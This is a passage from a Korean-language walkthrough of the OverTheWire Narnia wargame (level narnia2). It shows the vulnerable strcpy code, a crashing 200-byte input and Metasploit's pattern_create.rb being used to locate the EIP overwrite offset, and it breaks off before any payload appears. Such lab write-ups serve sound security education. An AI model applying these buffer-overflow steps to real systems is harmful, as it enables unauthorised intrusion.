3단계
3단계 로그인
# ssh narnia2@narnia.labs.overthewire.org
narnia2@narnia.labs.overthewire.org's password: [narnia2 패스워드]
$ cd /narnia/
$ cat narnia2.c
C 코드의 주요 부분을 살펴보자.
char buf[128]; if(argc == 1){ printf("Usage: %s argument\n", argv[0]); exit(1); } strcpy(buf, argv[1]); printf("%s", buf);
이 코드를 보면 인자를 받아 buf에 복사한다. buf는 128바이트이므로, 문자 200개를 입력하자.
narnia2@melinda:/narnia$ ./narnia2 `python -c 'print "A" * 200'`
Segmentation fault
문자 200개를 입력했더니 세그멘테이션 오류 Segmentation fault가 발생했다. EIP(실행 명령 주소)를 덮어쓰기 전에 바이트 수를 체크해야 하는데, 이는 pattern_create.rb 메타스플로이트 모듈로 처리할 수 있다. 이 모듈은 다음과 같이 유일한 문자열을 생성한다. 여기서는 200바이트 문자열을 만들 것이다. 이 문자열은 겹치는 부분이 없으므로 프로그램이 EIP를 오버플로하는 위치를 정확히 식별할 수 있다.
# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag